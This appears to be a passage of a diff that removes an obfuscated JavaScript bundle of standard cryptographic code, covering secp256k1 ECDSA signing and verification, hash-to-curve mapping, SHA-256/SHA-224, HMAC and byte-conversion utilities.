- if (null != _0x2f05d3) {
- const _0x378a9a = true === _0x2f05d3 ? _0x57b98c(_0xaa77f3.BYTES) : _0x2f05d3;
- _0x3f7efb.push((0, _0x1108c0.ensureBytes)("extraEntropy", _0x378a9a, _0xaa77f3.BYTES));
- }
- const _0x277224 = _0x31141f.concatBytes(..._0x3f7efb);
- const _0x1a2f70 = _0x506ad2;
- return {
- seed: _0x277224,
- k2sig: function (_0x1c9d5d) {
- const _0x1c2265 = _0x28fb6a(_0x1c9d5d);
- if (!_0x1f86c9(_0x1c2265)) {
- return;
- }
- const _0x1fb185 = _0x49cea4(_0x1c2265);
- const _0x711178 = _0x5beecc.BASE.multiply(_0x1c2265).toAffine();
- const _0x2909bc = _0x59e12e(_0x711178.x);
- if (_0x2909bc === _0x573b1c) {
- return;
- }
- const _0x90b8a5 = _0x59e12e(_0x1fb185 * _0x59e12e(_0x1a2f70 + _0x2909bc * _0x53c711));
- if (_0x90b8a5 === _0x573b1c) {
- return;
- }
- let _0x28b6c0 = (_0x711178.x === _0x2909bc ? 0 : 2) | Number(_0x711178.y & _0x3fb7b3);
- let _0x303d51 = _0x90b8a5;
- _0x5a5204 && _0x2815e9(_0x90b8a5) && (_0x303d51 = function (_0x529ea6) {
- return _0x2815e9(_0x529ea6) ? _0x59e12e(-_0x529ea6) : _0x529ea6;
- }(_0x90b8a5), _0x28b6c0 ^= 1);
- return new _0x142fc4(_0x2909bc, _0x303d51, _0x28b6c0);
- }
- };
- }(_0x3e1ad5, _0x318dd8, _0x3d583e);
- return _0x31141f.createHmacDrbg(_0x2bc373.hash.outputLen, _0x2bc373.nByteLength, _0x2bc373.hmac)(_0xb5a894, _0x54e4a8);
- },
- verify: function (_0x3fb287, _0x12e974, _0x543cbb, _0x47b238 = _0x1ccf05) {
- const _0x1e09a3 = _0x3fb287;
- if (_0x12e974 = (0, _0x1108c0.ensureBytes)("msgHash", _0x12e974), _0x543cbb = (0, _0x1108c0.ensureBytes)("publicKey", _0x543cbb), "strict" in _0x47b238) {
- throw new Error("options.strict was renamed to lowS");
- }
- const {
- lowS: _0xd05563,
- prehash: _0x1456d8
- } = _0x47b238;
- let _0x4c05df;
- let _0xe133aa;
- try {
- if ("string" == typeof _0x1e09a3 || _0x1e09a3 instanceof Uint8Array) {
- try {
- _0x4c05df = _0x142fc4.fromDER(_0x1e09a3);
- } catch (_0x3b916b) {
- if (!(_0x3b916b instanceof _0x5a0686.DER.Err)) {
- throw _0x3b916b;
- }
- _0x4c05df = _0x142fc4.fromCompact(_0x1e09a3);
- }
- } else {
- if ("object" != typeof _0x1e09a3 || "bigint" != typeof _0x1e09a3.r || "bigint" != typeof _0x1e09a3.s) {
- throw new Error("PARSE");
- }
- {
- const {
- r: _0x37c508,
- s: _0x136505
- } = _0x1e09a3;
- _0x4c05df = new _0x142fc4(_0x37c508, _0x136505);
- }
- }
- _0xe133aa = _0x5beecc.fromHex(_0x543cbb);
- } catch (_0x22fd44) {
- if ("PARSE" === _0x22fd44.message) {
- throw new Error("signature must be Signature instance, Uint8Array or hex string");
- }
- return false;
- }
- if (_0xd05563 && _0x4c05df.hasHighS()) {
- return false;
- }
- _0x1456d8 && (_0x12e974 = _0x2bc373.hash(_0x12e974));
- const {
- r: _0x34b331,
- s: _0x2d95a5
- } = _0x4c05df;
- const _0x17faf6 = _0x550513(_0x12e974);
- const _0x11d069 = _0x49cea4(_0x2d95a5);
- const _0x406702 = _0x59e12e(_0x17faf6 * _0x11d069);
- const _0x4a5a0c = _0x59e12e(_0x34b331 * _0x11d069);
- const _0x459478 = _0x5beecc.BASE.multiplyAndAddUnsafe(_0xe133aa, _0x406702, _0x4a5a0c)?.["toAffine"]();
- return !!_0x459478 && _0x59e12e(_0x459478.x) === _0x34b331;
- },
- ProjectivePoint: _0x5beecc,
- Signature: _0x142fc4,
- utils: _0x2a345d
- };
- };
- _0x5a0686.SWUFpSqrtRatio = _0x3189cc;
- _0x5a0686.mapToCurveSimpleSWU = function (_0x119f3a, _0x28c817) {
- if (_0x29eea0.validateField(_0x119f3a), !_0x119f3a.isValid(_0x28c817.A) || !_0x119f3a.isValid(_0x28c817.B) || !_0x119f3a.isValid(_0x28c817.Z)) {
- throw new Error("mapToCurveSimpleSWU: invalid opts");
- }
- const _0x1c8cf3 = _0x3189cc(_0x119f3a, _0x28c817.Z);
- if (!_0x119f3a.isOdd) {
- throw new Error("Fp.isOdd is not implemented!");
- }
- return _0x11d982 => {
- let _0x315f8b;
- let _0x5a47e4;
- let _0x10debf;
- let _0x59f537;
- let _0x20322a;
- let _0x5401bd;
- let _0x2f59d6;
- let _0x1e423b;
- _0x315f8b = _0x119f3a.sqr(_0x11d982);
- _0x315f8b = _0x119f3a.mul(_0x315f8b, _0x28c817.Z);
- _0x5a47e4 = _0x119f3a.sqr(_0x315f8b);
- _0x5a47e4 = _0x119f3a.add(_0x5a47e4, _0x315f8b);
- _0x10debf = _0x119f3a.add(_0x5a47e4, _0x119f3a.ONE);
- _0x10debf = _0x119f3a.mul(_0x10debf, _0x28c817.B);
- _0x59f537 = _0x119f3a.cmov(_0x28c817.Z, _0x119f3a.neg(_0x5a47e4), !_0x119f3a.eql(_0x5a47e4, _0x119f3a.ZERO));
- _0x59f537 = _0x119f3a.mul(_0x59f537, _0x28c817.A);
- _0x5a47e4 = _0x119f3a.sqr(_0x10debf);
- _0x5401bd = _0x119f3a.sqr(_0x59f537);
- _0x20322a = _0x119f3a.mul(_0x5401bd, _0x28c817.A);
- _0x5a47e4 = _0x119f3a.add(_0x5a47e4, _0x20322a);
- _0x5a47e4 = _0x119f3a.mul(_0x5a47e4, _0x10debf);
- _0x5401bd = _0x119f3a.mul(_0x5401bd, _0x59f537);
- _0x20322a = _0x119f3a.mul(_0x5401bd, _0x28c817.B);
- _0x5a47e4 = _0x119f3a.add(_0x5a47e4, _0x20322a);
- _0x2f59d6 = _0x119f3a.mul(_0x315f8b, _0x10debf);
- const {
- isValid: _0x37eba5,
- value: _0x2ab52c
- } = _0x1c8cf3(_0x5a47e4, _0x5401bd);
- _0x1e423b = _0x119f3a.mul(_0x315f8b, _0x11d982);
- _0x1e423b = _0x119f3a.mul(_0x1e423b, _0x2ab52c);
- _0x2f59d6 = _0x119f3a.cmov(_0x2f59d6, _0x10debf, _0x37eba5);
- _0x1e423b = _0x119f3a.cmov(_0x1e423b, _0x2ab52c, _0x37eba5);
- const _0x1552f9 = _0x119f3a.isOdd(_0x11d982) === _0x119f3a.isOdd(_0x1e423b);
- _0x1e423b = _0x119f3a.cmov(_0x119f3a.neg(_0x1e423b), _0x1e423b, _0x1552f9);
- _0x2f59d6 = _0x119f3a.div(_0x2f59d6, _0x59f537);
- return {
- x: _0x2f59d6,
- y: _0x1e423b
- };
- };
- };
- },
- 3150: (_0x3719e3, _0x375af9) => {
- "use strict";
-
- function _0x510a05(_0x1bffa7) {
- if (!Number.isSafeInteger(_0x1bffa7) || _0x1bffa7 < 0) {
- throw new Error("Wrong positive integer: " + _0x1bffa7);
- }
- }
- function _0x14597b(_0x432987) {
- if ("boolean" != typeof _0x432987) {
- throw new Error("Expected boolean, not " + _0x432987);
- }
- }
- function _0x480451(_0x1667cf, ..._0x596379) {
- if (!(_0x1667cf instanceof Uint8Array)) {
- throw new TypeError("Expected Uint8Array");
- }
- if (_0x596379.length > 0 && !_0x596379.includes(_0x1667cf.length)) {
- throw new TypeError("Expected Uint8Array of length " + _0x596379 + ", not of length=" + _0x1667cf.length);
- }
- }
- function _0x9edb8a(_0xbbafc8) {
- if ("function" != typeof _0xbbafc8 || "function" != typeof _0xbbafc8.create) {
- throw new Error("Hash should be wrapped by utils.wrapConstructor");
- }
- _0x510a05(_0xbbafc8.outputLen);
- _0x510a05(_0xbbafc8.blockLen);
- }
- function _0x35b963(_0x5bf88d, _0x479fc7 = true) {
- if (_0x5bf88d.destroyed) {
- throw new Error("Hash instance has been destroyed");
- }
- if (_0x479fc7 && _0x5bf88d.finished) {
- throw new Error("Hash#digest() has already been called");
- }
- }
- function _0x324897(_0x1799cc, _0x57ada7) {
- _0x480451(_0x1799cc);
- const _0x229d70 = _0x57ada7.outputLen;
- if (_0x1799cc.length < _0x229d70) {
- throw new Error("digestInto() expects output buffer of length at least " + _0x229d70);
- }
- }
- Object.defineProperty(_0x375af9, "__esModule", {
- value: true
- });
- _0x375af9.output = _0x375af9.exists = _0x375af9.hash = _0x375af9.bytes = _0x375af9.bool = _0x375af9.number = undefined;
- _0x375af9.number = _0x510a05;
- _0x375af9.bool = _0x14597b;
- _0x375af9.bytes = _0x480451;
- _0x375af9.hash = _0x9edb8a;
- _0x375af9.exists = _0x35b963;
- _0x375af9.output = _0x324897;
- const _0x170527 = {
- number: _0x510a05,
- bool: _0x14597b,
- bytes: _0x480451,
- hash: _0x9edb8a,
- exists: _0x35b963,
- output: _0x324897
- };
- _0x375af9.default = _0x170527;
- },
- 8783: (_0x144755, _0x5b6fd4, _0x8808ad) => {
- "use strict";
-
- Object.defineProperty(_0x5b6fd4, "__esModule", {
- value: true
- });
- _0x5b6fd4.SHA2 = undefined;
- const _0x35ab51 = _0x8808ad(3150);
- const _0x51c7e6 = _0x8808ad(1717);
- class _0x383a1e extends _0x51c7e6.Hash {
- constructor(_0xe60178, _0x482b10, _0x2896b8, _0x57caf3) {
- super();
- this.blockLen = _0xe60178;
- this.outputLen = _0x482b10;
- this.padOffset = _0x2896b8;
- this.isLE = _0x57caf3;
- this.finished = false;
- this.length = 0;
- this.pos = 0;
- this.destroyed = false;
- this.buffer = new Uint8Array(_0xe60178);
- this.view = (0, _0x51c7e6.createView)(this.buffer);
- }
- update(_0x29962c) {
- _0x35ab51.default.exists(this);
- const {
- view: _0x3fe7b6,
- buffer: _0x2d7f7e,
- blockLen: _0x422766
- } = this;
- const _0x427793 = (_0x29962c = (0, _0x51c7e6.toBytes)(_0x29962c)).length;
- for (let _0x10335e = 0; _0x10335e < _0x427793;) {
- const _0x560839 = Math.min(_0x422766 - this.pos, _0x427793 - _0x10335e);
- if (_0x560839 !== _0x422766) {
- _0x2d7f7e.set(_0x29962c.subarray(_0x10335e, _0x10335e + _0x560839), this.pos);
- this.pos += _0x560839;
- _0x10335e += _0x560839;
- this.pos === _0x422766 && (this.process(_0x3fe7b6, 0), this.pos = 0);
- } else {
- const _0x520360 = (0, _0x51c7e6.createView)(_0x29962c);
- for (; _0x422766 <= _0x427793 - _0x10335e; _0x10335e += _0x422766) {
- this.process(_0x520360, _0x10335e);
- }
- }
- }
- this.length += _0x29962c.length;
- this.roundClean();
- return this;
- }
- digestInto(_0x482787) {
- _0x35ab51.default.exists(this);
- _0x35ab51.default.output(_0x482787, this);
- this.finished = true;
- const {
- buffer: _0x44eef8,
- view: _0x5366aa,
- blockLen: _0x1ed5ac,
- isLE: _0x31be87
- } = this;
- let {
- pos: _0x3c4573
- } = this;
- _0x44eef8[_0x3c4573++] = 128;
- this.buffer.subarray(_0x3c4573).fill(0);
- this.padOffset > _0x1ed5ac - _0x3c4573 && (this.process(_0x5366aa, 0), _0x3c4573 = 0);
- for (let _0x14a5f2 = _0x3c4573; _0x14a5f2 < _0x1ed5ac; _0x14a5f2++) {
- _0x44eef8[_0x14a5f2] = 0;
- }
- !function (_0x221257, _0x48f41a, _0x80f5c8, _0xffbc72) {
- if ("function" == typeof _0x221257.setBigUint64) {
- return _0x221257.setBigUint64(_0x48f41a, _0x80f5c8, _0xffbc72);
- }
- const _0x5b4bda = BigInt(32);
- const _0xb57505 = BigInt(4294967295);
- const _0x23d576 = Number(_0x80f5c8 >> _0x5b4bda & _0xb57505);
- const _0x38dfbb = Number(_0x80f5c8 & _0xb57505);
- const _0x48f44d = _0xffbc72 ? 4 : 0;
- const _0x132a9f = _0xffbc72 ? 0 : 4;
- _0x221257.setUint32(_0x48f41a + _0x48f44d, _0x23d576, _0xffbc72);
- _0x221257.setUint32(_0x48f41a + _0x132a9f, _0x38dfbb, _0xffbc72);
- }(_0x5366aa, _0x1ed5ac - 8, BigInt(8 * this.length), _0x31be87);
- this.process(_0x5366aa, 0);
- const _0x47a51e = (0, _0x51c7e6.createView)(_0x482787);
- const _0x2ad5e2 = this.outputLen;
- if (_0x2ad5e2 % 4) {
- throw new Error("_sha2: outputLen should be aligned to 32bit");
- }
- const _0x317bf1 = _0x2ad5e2 / 4;
- const _0x45d3d2 = this.get();
- if (_0x317bf1 > _0x45d3d2.length) {
- throw new Error("_sha2: outputLen bigger than state");
- }
- for (let _0x1a03d = 0; _0x1a03d < _0x317bf1; _0x1a03d++) {
- _0x47a51e.setUint32(4 * _0x1a03d, _0x45d3d2[_0x1a03d], _0x31be87);
- }
- }
- digest() {
- const {
- buffer: _0x23335f,
- outputLen: _0x5b789d
- } = this;
- this.digestInto(_0x23335f);
- const _0x45b61 = _0x23335f.slice(0, _0x5b789d);
- this.destroy();
- return _0x45b61;
- }
- _cloneInto(_0x272dfa) {
- _0x272dfa || (_0x272dfa = new this.constructor());
- _0x272dfa.set(...this.get());
- const {
- blockLen: _0x26f7ce,
- buffer: _0x5bc334,
- length: _0x17fb29,
- finished: _0x2bc356,
- destroyed: _0x215d3f,
- pos: _0x210baa
- } = this;
- _0x272dfa.length = _0x17fb29;
- _0x272dfa.pos = _0x210baa;
- _0x272dfa.finished = _0x2bc356;
- _0x272dfa.destroyed = _0x215d3f;
- _0x17fb29 % _0x26f7ce && _0x272dfa.buffer.set(_0x5bc334);
- return _0x272dfa;
- }
- }
- _0x5b6fd4.SHA2 = _0x383a1e;
- },
- 7564: (_0x346706, _0x4404b6) => {
- "use strict";
-
- Object.defineProperty(_0x4404b6, "__esModule", {
- value: true
- });
- _0x4404b6.crypto = undefined;
- _0x4404b6.crypto = "object" == typeof globalThis && "crypto" in globalThis ? globalThis.crypto : undefined;
- },
- 1128: (_0x5ab70c, _0x56142a, _0xf64f2a) => {
- "use strict";
-
- Object.defineProperty(_0x56142a, "__esModule", {
- value: true
- });
- _0x56142a.hmac = undefined;
- const _0x3e9abd = _0xf64f2a(3150);
- const _0xcb86d8 = _0xf64f2a(1717);
- class _0xbf85f5 extends _0xcb86d8.Hash {
- constructor(_0x464788, _0x1e7bfc) {
- super();
- this.finished = false;
- this.destroyed = false;
- _0x3e9abd.default.hash(_0x464788);
- const _0x5605b6 = (0, _0xcb86d8.toBytes)(_0x1e7bfc);
- if (this.iHash = _0x464788.create(), "function" != typeof this.iHash.update) {
- throw new TypeError("Expected instance of class which extends utils.Hash");
- }
- this.blockLen = this.iHash.blockLen;
- this.outputLen = this.iHash.outputLen;
- const _0x2dec07 = this.blockLen;
- const _0x1a83a2 = new Uint8Array(_0x2dec07);
- _0x1a83a2.set(_0x5605b6.length > _0x2dec07 ? _0x464788.create().update(_0x5605b6).digest() : _0x5605b6);
- for (let _0x4de1c3 = 0; _0x4de1c3 < _0x1a83a2.length; _0x4de1c3++) {
- _0x1a83a2[_0x4de1c3] ^= 54;
- }
- this.iHash.update(_0x1a83a2);
- this.oHash = _0x464788.create();
- for (let _0x441299 = 0; _0x441299 < _0x1a83a2.length; _0x441299++) {
- _0x1a83a2[_0x441299] ^= 106;
- }
- this.oHash.update(_0x1a83a2);
- _0x1a83a2.fill(0);
- }
- update(_0x14ad22) {
- _0x3e9abd.default.exists(this);
- this.iHash.update(_0x14ad22);
- return this;
- }
- digestInto(_0x38b2e7) {
- _0x3e9abd.default.exists(this);
- _0x3e9abd.default.bytes(_0x38b2e7, this.outputLen);
- this.finished = true;
- this.iHash.digestInto(_0x38b2e7);
- this.oHash.update(_0x38b2e7);
- this.oHash.digestInto(_0x38b2e7);
- this.destroy();
- }
- digest() {
- const _0x2e0734 = new Uint8Array(this.oHash.outputLen);
- this.digestInto(_0x2e0734);
- return _0x2e0734;
- }
- _cloneInto(_0x4c0f90) {
- _0x4c0f90 || (_0x4c0f90 = Object.create(Object.getPrototypeOf(this), {}));
- const {
- oHash: _0x91fa48,
- iHash: _0x244672,
- finished: _0x2eb618,
- destroyed: _0x334658,
- blockLen: _0x2d2b7f,
- outputLen: _0x466aaf
- } = this;
- _0x4c0f90.finished = _0x2eb618;
- _0x4c0f90.destroyed = _0x334658;
- _0x4c0f90.blockLen = _0x2d2b7f;
- _0x4c0f90.outputLen = _0x466aaf;
- _0x4c0f90.oHash = _0x91fa48._cloneInto(_0x4c0f90.oHash);
- _0x4c0f90.iHash = _0x244672._cloneInto(_0x4c0f90.iHash);
- return _0x4c0f90;
- }
- destroy() {
- this.destroyed = true;
- this.oHash.destroy();
- this.iHash.destroy();
- }
- }
- _0x56142a.hmac = (_0x3d67b5, _0x5c0e3f, _0x174523) => new _0xbf85f5(_0x3d67b5, _0x5c0e3f).update(_0x174523).digest();
- _0x56142a.hmac.create = (_0x512b4f, _0x358ba4) => new _0xbf85f5(_0x512b4f, _0x358ba4);
- },
- 7968: (_0x47ba01, _0x4858f8, _0x1f6fab) => {
- "use strict";
-
- Object.defineProperty(_0x4858f8, "__esModule", {
- value: true
- });
- _0x4858f8.sha224 = _0x4858f8.sha256 = undefined;
- const _0x59d3bf = _0x1f6fab(8783);
- const _0x4070b8 = _0x1f6fab(1717);
- const _0x3c1f54 = (_0x1093d7, _0x56ca18, _0x188198) => _0x1093d7 & _0x56ca18 ^ _0x1093d7 & _0x188198 ^ _0x56ca18 & _0x188198;
- const _0x318442 = new Uint32Array([1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298]);
- const _0x12fb65 = new Uint32Array([1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225]);
- const _0x2ba2a7 = new Uint32Array(64);
- class _0x58e2bf extends _0x59d3bf.SHA2 {
- constructor() {
- super(64, 32, 8, false);
- this.A = 0 | _0x12fb65[0];
- this.B = 0 | _0x12fb65[1];
- this.C = 0 | _0x12fb65[2];
- this.D = 0 | _0x12fb65[3];
- this.E = 0 | _0x12fb65[4];
- this.F = 0 | _0x12fb65[5];
- this.G = 0 | _0x12fb65[6];
- this.H = 0 | _0x12fb65[7];
- }
- get() {
- const {
- A: _0x531530,
- B: _0x1f16f1,
- C: _0x3c3f8c,
- D: _0x3943c8,
- E: _0x5e53f6,
- F: _0x3ba672,
- G: _0x2cfb92,
- H: _0x4d47b1
- } = this;
- return [_0x531530, _0x1f16f1, _0x3c3f8c, _0x3943c8, _0x5e53f6, _0x3ba672, _0x2cfb92, _0x4d47b1];
- }
- set(_0x42c0b7, _0x2e2584, _0xda87dc, _0x2d87e6, _0x3516b9, _0x5a1b86, _0x3dc19e, _0x230675) {
- this.A = 0 | _0x42c0b7;
- this.B = 0 | _0x2e2584;
- this.C = 0 | _0xda87dc;
- this.D = 0 | _0x2d87e6;
- this.E = 0 | _0x3516b9;
- this.F = 0 | _0x5a1b86;
- this.G = 0 | _0x3dc19e;
- this.H = 0 | _0x230675;
- }
- process(_0x50eedd, _0x2654ee) {
- for (let _0x40df40 = 0; _0x40df40 < 16; _0x40df40++, _0x2654ee += 4) {
- _0x2ba2a7[_0x40df40] = _0x50eedd.getUint32(_0x2654ee, false);
- }
- for (let _0x4b0a0d = 16; _0x4b0a0d < 64; _0x4b0a0d++) {
- const _0x46594e = _0x2ba2a7[_0x4b0a0d - 15];
- const _0x1e68ec = _0x2ba2a7[_0x4b0a0d - 2];
- const _0x3d8323 = (0, _0x4070b8.rotr)(_0x46594e, 7) ^ (0, _0x4070b8.rotr)(_0x46594e, 18) ^ _0x46594e >>> 3;
- const _0x126088 = (0, _0x4070b8.rotr)(_0x1e68ec, 17) ^ (0, _0x4070b8.rotr)(_0x1e68ec, 19) ^ _0x1e68ec >>> 10;
- _0x2ba2a7[_0x4b0a0d] = _0x126088 + _0x2ba2a7[_0x4b0a0d - 7] + _0x3d8323 + _0x2ba2a7[_0x4b0a0d - 16] | 0;
- }
- let {
- A: _0x29ed32,
- B: _0x3d9e4d,
- C: _0x1430de,
- D: _0x20914f,
- E: _0x58c912,
- F: _0x113ba9,
- G: _0x8b3d05,
- H: _0x562541
- } = this;
- for (let _0x554f65 = 0; _0x554f65 < 64; _0x554f65++) {
- const _0x1bc4f9 = _0x562541 + ((0, _0x4070b8.rotr)(_0x58c912, 6) ^ (0, _0x4070b8.rotr)(_0x58c912, 11) ^ (0, _0x4070b8.rotr)(_0x58c912, 25)) + ((_0x32d836 = _0x58c912) & _0x113ba9 ^ ~_0x32d836 & _0x8b3d05) + _0x318442[_0x554f65] + _0x2ba2a7[_0x554f65] | 0;
- const _0x28f648 = ((0, _0x4070b8.rotr)(_0x29ed32, 2) ^ (0, _0x4070b8.rotr)(_0x29ed32, 13) ^ (0, _0x4070b8.rotr)(_0x29ed32, 22)) + _0x3c1f54(_0x29ed32, _0x3d9e4d, _0x1430de) | 0;
- _0x562541 = _0x8b3d05;
- _0x8b3d05 = _0x113ba9;
- _0x113ba9 = _0x58c912;
- _0x58c912 = _0x20914f + _0x1bc4f9 | 0;
- _0x20914f = _0x1430de;
- _0x1430de = _0x3d9e4d;
- _0x3d9e4d = _0x29ed32;
- _0x29ed32 = _0x1bc4f9 + _0x28f648 | 0;
- }
- var _0x32d836;
- _0x29ed32 = _0x29ed32 + this.A | 0;
- _0x3d9e4d = _0x3d9e4d + this.B | 0;
- _0x1430de = _0x1430de + this.C | 0;
- _0x20914f = _0x20914f + this.D | 0;
- _0x58c912 = _0x58c912 + this.E | 0;
- _0x113ba9 = _0x113ba9 + this.F | 0;
- _0x8b3d05 = _0x8b3d05 + this.G | 0;
- _0x562541 = _0x562541 + this.H | 0;
- this.set(_0x29ed32, _0x3d9e4d, _0x1430de, _0x20914f, _0x58c912, _0x113ba9, _0x8b3d05, _0x562541);
- }
- roundClean() {
- _0x2ba2a7.fill(0);
- }
- destroy() {
- this.set(0, 0, 0, 0, 0, 0, 0, 0);
- this.buffer.fill(0);
- }
- }
- class _0x566184 extends _0x58e2bf {
- constructor() {
- super();
- this.A = -1056596264;
- this.B = 914150663;
- this.C = 812702999;
- this.D = -150054599;
- this.E = -4191439;
- this.F = 1750603025;
- this.G = 1694076839;
- this.H = -1090891868;
- this.outputLen = 28;
- }
- }
- _0x4858f8.sha256 = (0, _0x4070b8.wrapConstructor)(() => new _0x58e2bf());
- _0x4858f8.sha224 = (0, _0x4070b8.wrapConstructor)(() => new _0x566184());
- },
- 1717: (_0x1c1ce8, _0x3b4dbb, _0x12b53f) => {
- "use strict";
-
- Object.defineProperty(_0x3b4dbb, "__esModule", {
- value: true
- });
- _0x3b4dbb.randomBytes = _0x3b4dbb.wrapConstructorWithOpts = _0x3b4dbb.wrapConstructor = _0x3b4dbb.checkOpts = _0x3b4dbb.Hash = _0x3b4dbb.concatBytes = _0x3b4dbb.toBytes = _0x3b4dbb.utf8ToBytes = _0x3b4dbb.asyncLoop = _0x3b4dbb.nextTick = _0x3b4dbb.hexToBytes = _0x3b4dbb.bytesToHex = _0x3b4dbb.isLE = _0x3b4dbb.rotr = _0x3b4dbb.createView = _0x3b4dbb.u32 = _0x3b4dbb.u8 = undefined;
- const _0x5e5cda = _0x12b53f(7564);
- if (_0x3b4dbb.u8 = _0x4c6ce8 => new Uint8Array(_0x4c6ce8.buffer, _0x4c6ce8.byteOffset, _0x4c6ce8.byteLength), _0x3b4dbb.u32 = _0x4e7853 => new Uint32Array(_0x4e7853.buffer, _0x4e7853.byteOffset, Math.floor(_0x4e7853.byteLength / 4)), _0x3b4dbb.createView = _0x19637d => new DataView(_0x19637d.buffer, _0x19637d.byteOffset, _0x19637d.byteLength), _0x3b4dbb.rotr = (_0x564e56, _0x61dbc9) => _0x564e56 << 32 - _0x61dbc9 | _0x564e56 >>> _0x61dbc9, _0x3b4dbb.isLE = 68 === new Uint8Array(new Uint32Array([287454020]).buffer)[0], !_0x3b4dbb.isLE) {
- throw new Error("Non little-endian hardware is not supported");
- }
- const _0x387c38 = Array.from({
- length: 256
- }, (_0x2ceacd, _0x551083) => _0x551083.toString(16).padStart(2, "0"));
- function _0x3ed52e(_0x39ef97) {
- if ("string" != typeof _0x39ef97) {
- throw new TypeError("utf8ToBytes expected string, got " + typeof _0x39ef97);
- }
- return new TextEncoder().encode(_0x39ef97);
- }
- function _0x4e196f(_0x18598e) {
- if ("string" == typeof _0x18598e && (_0x18598e = _0x3ed52e(_0x18598e)), !(_0x18598e instanceof Uint8Array)) {
- throw new TypeError("Expected input type is Uint8Array (got " + typeof _0x18598e + ")");
- }
- return _0x18598e;
- }
- _0x3b4dbb.bytesToHex = function (_0x227738) {
- if (!(_0x227738 instanceof Uint8Array)) {
- throw new Error("Uint8Array expected");
- }
- let _0x5cec9b = "";
- for (let _0x38e24f = 0; _0x38e24f < _0x227738.length; _0x38e24f++) {
- _0x5cec9b += _0x387c38[_0x227738[_0x38e24f]];
- }
- return _0x5cec9b;
- };
- _0x3b4dbb.hexToBytes = function (_0x346e2e) {
- if ("string" != typeof _0x346e2e) {
- throw new TypeError("hexToBytes: expected string, got " + typeof _0x346e2e);
- }
- if (_0x346e2e.length % 2) {
- throw new Error("hexToBytes: received invalid unpadded hex");
- }
- const _0x268d59 = new Uint8Array(_0x346e2e.length / 2);
- for (let _0x4fec76 = 0; _0x4fec76 < _0x268d59.length; _0x4fec76++) {
- const _0x283dad = 2 * _0x4fec76;
- const _0x1363d5 = _0x346e2e.slice(_0x283dad, _0x283dad + 2);
- const _0x47c2db = Number.parseInt(_0x1363d5, 16);
- if (Number.isNaN(_0x47c2db) || _0x47c2db < 0) {
- throw new Error("Invalid byte sequence");
- }
- _0x268d59[_0x4fec76] = _0x47c2db;
- }
- return _0x268d59;
- };
- _0x3b4dbb.nextTick = async () => {};
- _0x3b4dbb.asyncLoop = async function (_0x579f2f, _0x570ee7, _0x571120) {
- let _0x233210 = Date.now();
- for (let _0x1a0a11 = 0; _0x1a0a11 < _0x579f2f; _0x1a0a11++) {
- _0x571120(_0x1a0a11);
- const _0x13e60b = Date.now() - _0x233210;
- _0x13e60b >= 0 && _0x13e60b < _0x570ee7 || (await (0, _0x3b4dbb.nextTick)(), _0x233210 += _0x13e60b);
- }
- };
- _0x3b4dbb.utf8ToBytes = _0x3ed52e;
- _0x3b4dbb.toBytes = _0x4e196f;
- _0x3b4dbb.concatBytes = function (..._0x56c1ad) {
- if (!_0x56c1ad.every(_0x1e13ee => _0x1e13ee instanceof Uint8Array)) {
- throw new Error("Uint8Array list expected");
- }
- if (1 === _0x56c1ad.length) {
- return _0x56c1ad[0];
- }
- const _0x203fa2 = _0x56c1ad.reduce((_0x362003, _0x3ae9f4) => _0x362003 + _0x3ae9f4.length, 0);
- const _0x49ebc5 = new Uint8Array(_0x203fa2);
- for (let _0x453e09 = 0, _0x47e52a = 0; _0x453e09 < _0x56c1ad.length; _0x453e09++) {
- const _0x384d86 = _0x56c1ad[_0x453e09];
- _0x49ebc5.set(_0x384d86, _0x47e52a);
- _0x47e52a += _0x384d86.length;
- }
- return _0x49ebc5;
- };
- _0x3b4dbb.Hash = class {
- clone() {
- return this._cloneInto();
- }
- };
- _0x3b4dbb.checkOpts = function (_0xe84828, _0x248da6) {
- if (undefined !== _0x248da6 && ("object" != typeof _0x248da6 || (_0x1704a1 = _0x248da6, "[object Object]" !== Object.prototype.toString.call(_0x1704a1) || _0x1704a1.constructor !== Object))) {
- throw new TypeError("Options should be object or undefined");
- }
- var _0x1704a1;
- return Object.assign(_0xe84828, _0x248da6);
- };
- _0x3b4dbb.wrapConstructor = function (_0x1d4a47) {
- const _0x29f22c = _0x50e0d5 => _0x1d4a47().update(_0x4e196f(_0x50e0d5)).digest();
- const _0x262256 = _0x1d4a47();
- _0x29f22c.outputLen = _0x262256.outputLen;
- _0x29f22c.blockLen = _0x262256.blockLen;
- _0x29f22c.create = () => _0x1d4a47();
- return _0x29f22c;
- };
- _0x3b4dbb.wrapConstructorWithOpts = function (_0x22f9b7) {
- const _0x1caaa9 = (_0x37c2f7, _0xc484b8) => _0x22f9b7(_0xc484b8).update(_0x4e196f(_0x37c2f7)).digest();
- const _0x5e4c1e = _0x22f9b7({});
- _0x1caaa9.outputLen = _0x5e4c1e.outputLen;
- _0x1caaa9.blockLen = _0x5e4c1e.blockLen;
- _0x1caaa9.create = _0x1bfd8c => _0x22f9b7(_0x1bfd8c);
- return _0x1caaa9;
- };
- _0x3b4dbb.randomBytes = function (_0x1c3739 = 32) {
- if (_0x5e5cda.crypto && "function" == typeof _0x5e5cda.crypto.getRandomValues) {
- return _0x5e5cda.crypto.getRandomValues(new Uint8Array(_0x1c3739));
- }
- throw new Error("crypto.getRandomValues must be defined");
- };
- },
- 3497: (_0x5baf72, _0x6d1c6, _0x2b9c75) => {
- "use strict";
-
- var _0x9c43a4;
- Object.defineProperty(_0x6d1c6, "__esModule", {
- value: true
- });
- _0x6d1c6.encodeToCurve = _0x6d1c6.hashToCurve = _0x6d1c6.schnorr = _0x6d1c6.secp256k1 = undefined;
- const _0x14dd24 = _0x2b9c75(7968);
- const _0x507c28 = _0x2b9c75(1717);
- const _0x748af7 = _0x2b9c75(4632);
- const _0x3d78e1 = _0x2b9c75(6551);
